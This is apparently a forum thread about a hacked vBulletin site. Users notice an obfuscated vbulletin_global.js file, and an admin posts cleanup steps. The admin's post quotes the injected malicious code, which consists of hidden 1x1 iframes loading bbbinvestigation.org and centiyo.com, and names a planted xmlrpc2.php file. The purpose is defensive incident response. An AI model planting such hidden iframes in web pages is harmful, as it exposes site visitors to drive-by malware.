Ok, I'm browsing with CACHE disabled and I'm still getting the bbb site trying to load. It doesn't load when i disable the following script file: http://priuschat.com/forums/clientscript/vbulletin_global.js the first few words is: CLEARLY obfuscated code when compared with another vbulletin site: http://forums.guru3d.com/clientscript/vbulletin_global.js Seriously, I think its infected. It may be turning on/off based on some variables.
My antivirus provider the ever efficient German Avira has some details on this in their techblog at Avira – TechBlog which includes some links to Microsoft where there is a temporary fix. However at shut down yesterday an update to for Microsoft.Net Framework 3.5 SP1 and .Net Framework 2.0 SP2 Update for Windows Server 2003 and Windows ZP x86 (KB982524) to address a number of known issues was installed, and I have not experienced any attept by the bbb file to open up Windows Media player. Are the two connected? I'm no IT Geek, so cannot answer that one. Avira Premium Security Suite is happy to run a scan. I am running the latest Media player so it has not been immune.
Bob, you ended up being right! The attacker had somehow edited the file without changing the timestamp so it looked to me like it had never been changed. Here's some notes on what our server admin did to fix the issue (for other site admins who need to fix the issue): Initial penetration appears to be ?. The attacker added an xmlrpc2.php file that they used to attack the server. Remove code from the header template within your skins Within the template table in your database there is this code: PHP: <iframe width=1 height=1 border=0 frameborder=0 src=\"http://bbbinvestigation.org/ks\"></iframe><iframe width=1 height=1 border=0 frameborder=0 src=\"http://centiyo.com/in.cgi?default\"></iframe><iframe width=1 height=1 border=0 frameborder=0 src=\"http://centiyo.com/in.cgi?default\"></iframe> vbulletin_global.js is infected and needs to be replaced with the latest version from vBulletin. Flush your vB Optimise cache (if you use it) Disable and enable any product under "Manage Products" just to be sure.
If anyone here got infected or actually opened up those infected pdf/media files, then be sure to download the free version of malwarebytes at malwarebytes.org and do a scan.
i seem to be good now, but everytime i boot up i get a symantek script thing i have to go thru and then i'm told i'm not connected to the internet and i click retry and it's fine. other than that all seems well.
Many thanks for the fix, it looks OK to me now, even on the PC that's not running noscript and adblock. Jeremy
Danny, Out of curiosity, would it be possible to setup some sort of hash/CRC for the files - that way you can compare the hash of the files - instead of the datestamp? In case of future security breaches, of course.
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I got a virus notice 5 days ago on IE8 - I never noticed this on my Mac machine, but this does not mean it is not doing its deeds on it as well - Mac users tend not to have Anti-Virus (and it might not be the best choice).